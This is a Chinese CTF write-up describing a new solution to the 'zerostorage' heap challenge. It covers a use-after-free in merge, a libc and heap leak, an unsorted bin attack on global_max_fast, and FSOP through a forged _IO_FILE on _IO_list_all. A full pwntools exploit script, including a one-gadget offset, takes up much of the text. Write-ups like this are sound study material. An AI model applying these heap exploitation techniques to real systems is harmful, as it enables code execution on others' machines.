前言
这题是在做global_max_fast相关利用总结的时候做的,解法仍然使用了隐藏的uaf以及unsorted bin attack。
为什么说是新解,指的是在改写global_max_fast后续的利用的过程与已有的解法存在一定的区别。现有的解法是基于老版本的linux内核,在泄露出libc的基址以及堆地址后,通过偏移计算得到程序的基址,然后在bss段上构造堆块实现利用。
目前的随机化程度已不支持这个方法,之前的方法已经无法成功利用,在经过分析之后,得到了新的解法,新解是基于只有libc地址以及堆地址对该题实现漏洞利用的方法。
下面详细描述过程。
题目描述
一道经典的菜单题,是一个管理entry的堆题,程序提供了七个选项,分别是:
1. Insert
2. Update
3. Merge
4. Delete
5. View
6. List
7. Exit
程序使用了一个全局数组来存储entry的管理结构体,每个entry管理结构题定义如下:
struct entry_struct
{
int64 flag;
int64 size;
char *protect_ptr;
}
其中flag表示该entry是否有效,size表示entry大小,protect_ptr是申请出来的堆块与一个随机数的异或值以保护指针。
insert函数的作用是申请堆块,堆块的大小必须为0x80到0x1000之间,但是如果输入的size小于0x80的话,申请出来的堆块位0x80大小,但是最终结构体中的size为输入的大小。
update函数的作用是更新entry,更新所输入的size大小也需为0x80到0x1000之间,如果update的size与之前的size不一致的话会调用realloc重新分配堆块。
merge函数的作用是合并entry,给定一个from id以及一个to id,将from id的内容使用realloc函数合并至to id中并形成一个新的entry,同时将from id以及to id所对应的entry给删掉。
delete函数的作用是删除entry,给定一个id将其entry所对应的堆块释放掉,同时将flag置0。
view函数的作用是输出entry内容,给定义个有效id,打印处该entry中的内容。
list以及exit没怎么用到,也没啥用。
漏洞信息
题目的漏洞在merge函数中,漏洞的成因在from id以及to id没有进行检查,可以为同一个,导致出现了意外情况。
如果from id以及to id为同一个的话(即from id以及to identry所对应的堆块为同一块),且他们的size相加如果不超过0x80(wp中我的是等于0x80),程序在merge时不会触发realloc去分配新的堆块,仍然使用to id对应的堆块直接作为新的entry,但是后续却将from id对应的堆块free掉,此时就形成了uaf漏洞,我们可以使用merge后形成的新的id来操作该被free的堆块。
漏洞利用
就是这么一个uaf,如何利用呢?
首先第一步,自然想的是如何信息泄露,很多时候只有泄露了地址才能够进行后续的利用。利用这个merge函数中的uaf,可以很容易就泄露出libc地址和heap地址。因为申请的是smallbin大小的堆块,释放后都会被放进unsorted bin里面形成双链表。想要泄露出libc地址和heap地址,只需要先利用uaf将堆块A释放到unsorted里面,再释放一个堆块B到unsoted bin里面,此时利用view A块所对应的entry就可以得到B的地址以及main arena的地址。
泄露地址后,要解决的事该如何实现后续利用。已经知道堆块是被释放进unsorted bin中且可以修改,因此可以实施unsorted bin attack,unsorted bin attack可以向任意地址写main arena的地址,去修改global_max_fast是一个不错的选择,将该变量修改后,我们就可以把堆块当成fastbin来使用,绕过了它不能分配fastbin的限制。
在修改完成后global_max_fast如何进一步得到shell。原有的wp的解法是:在老版本的linux内核中,可以在泄露出libc的基地址后,通过偏移得到程序的基地址。在得到程序的基地址后可以在bss段上伪造一个堆块,同时利用uaf修改释放后的fd,使其指向bss段中的堆块,最后申请将堆块申请出来,泄露出地址并计算出用于异或的随机值,实现修改entry指针的达到任意写的目的,最终getshell。
但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中新解所包含的部分了:据之前写的文章堆中global_max_fast相关利用,我们可以将目标瞄准为将global_max_fast改写后,复写_IO_list_all指针用io file来进行攻击。
但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,题目中限制了堆申请的大小只能为0x80到0x1000,所以似乎无法控制0x1410大小的堆块。
在把程序再次审查以后,发现解决方法还是在merge函数中,merge函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x1000,最终达到任意堆块大小申请的目的。
这样问题就简单了,merge出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。
漏洞利用exp
完整exp如下:
from pwn_debug.pwn_debug import *
pdbg=pwn_debug("zerostorage")
pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.23")
pdbg.remote('34.92.37.22', 10002)
#p=pdbg.run("local")
#p=pdbg.run("debug")
p=pdbg.run("debug")
membp=pdbg.membp
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
def insert(size,data):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("entry: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.send(data)
def update(idx,size,data):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("ID: ")
p.sendline(str(idx))
p.recvuntil("entry: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.send(data)
def merge(from_idx,to_idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("ID: ")
p.sendline(str(from_idx))
p.recvuntil("ID: ")
p.sendline(str(to_idx))
def delete(idx):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("ID: ")
p.sendline(str(idx))
def view(idx,):
p.recvuntil("choice: ")
p.sendline("5")
p.recvuntil("ID: ")
p.sendline(str(idx))
def list():
p.recvuntil("choice: ")
p.sendline("6")
def build_fake_file(addr,vtable):
flag=0xfbad2887
#flag&=~4
#flag|=0x800
fake_file=p64(flag) #_flags
fake_file+=p64(addr) #_IO_read_ptr
fake_file+=p64(addr) #_IO_read_end
fake_file+=p64(addr) #_IO_read_base
fake_file+=p64(addr) #_IO_write_base
fake_file+=p64(addr+1) #_IO_write_ptr
fake_file+=p64(addr) #_IO_write_end
fake_file+=p64(addr) #_IO_buf_base
fake_file+=p64(0) #_IO_buf_end
fake_file+=p64(0) #_IO_save_base
fake_file+=p64(0) #_IO_backup_base
fake_file+=p64(0) #_IO_save_end
fake_file+=p64(0) #_markers
fake_file+=p64(0) #chain could be a anathor file struct
fake_file+=p32(1) #_fileno
fake_file+=p32(0) #_flags2
fake_file+=p64(0xffffffffffffffff) #_old_offset
fake_file+=p16(0) #_cur_column
fake_file+=p8(0) #_vtable_offset
fake_file+=p8(0x10) #_shortbuf
fake_file+=p32(0)
fake_file+=p64(0) #_lock
fake_file+=p64(0xffffffffffffffff) #_offset
fake_file+=p64(0) #_codecvt
fake_file+=p64(0) #_wide_data
fake_file+=p64(0) #_freeres_list
fake_file+=p64(0) #_freeres_buf
fake_file+=p64(0) #__pad5
fake_file+=p32(0xffffffff) #_mode
fake_file+=p32(0) #unused2
fake_file+=p64(0)*2 #unused2
fake_file+=p64(vtable) #vtable
return fake_file
def pwn():
#pdbg.bp([0x13ea,0x148a])
insert(0x40,'a'*0x40) #0
insert(0x40,'b'*0x40) #1
insert(0x40,'c'*0x40) #2
insert(0x40,'d'*0x40) #3
insert(0x40,'e'*0x40) #4
insert(0x1000-0x10,'f'*(0x1000-0x10)) #5
insert(0x400,'f'*0x400) #6
insert(0x400,'f'*0x400) #7
insert(0x40, 'f'*0x40) #8
insert(0x60,'f'*0x60) #9
#merge(0,0)
#pdbg.bp([0x13ea])
delete(6)
merge(7,5) #6
#pdbg.bp()
insert(0x400,'a'*0x400) #5
merge(0,0) # 7
merge(2,2) # 0
## step 1 leak libc address and heap address
#pdbg.bp([0x120c,0x1052])
view(7)
p.recvuntil(":n")
unsorted_addr=u64(p.recv(8))
libc_base=unsorted_addr-libc.symbols['main_arena']-88
heap_base=u64(p.recv(8))-0x120
#pdbg.bp([0x120c,0x123f,0x1052])
log.info("leak libc base: %s"%hex(libc_base))
log.info("leak heap base: %s"%hex(heap_base))
global_max_fast=libc_base+libc.symbols['global_max_fast']
io_stderr=libc_base+libc.symbols['_IO_2_1_stderr_']
rce=libc_base+0xd5c07
#pdbg.bp([0x1216,0x13ea])
heap_addr=heap_base+0x1b90
fake_file=build_fake_file(io_stderr,heap_addr)
## step 2 build a fake file
update(6,0x1000-0x10,fake_file[0x10:].ljust(0x1000-0x10,'f'))
## step 3 form a 0x1410 big chunk with merge funcion
merge(5,6)
## step 4 unsorted bin attack to overwrite global_max_fast
update(7,0x10,p64(unsorted_addr)+p64(global_max_fast-0x10))
insert(0x40,'a'*0x40)
#pdbg.bp([0x123f,0x15ce])
update(9,0x60,p64(0)*2+p64(rce)*(0x50/8))
#pdbg.bp(0x15ce)
## step 5 overwrite _IO_list_all
delete(2)
## step 6 trigger io flush to get shell
p.recvuntil(":")
p.sendline('1')
p.recvuntil(":")
p.sendline("100")
p.interactive() #get the shell
if __name__ == '__main__':
pwn()
小结
不禁感叹:神奇的堆以及io大法好。相关文件和脚本在我的github
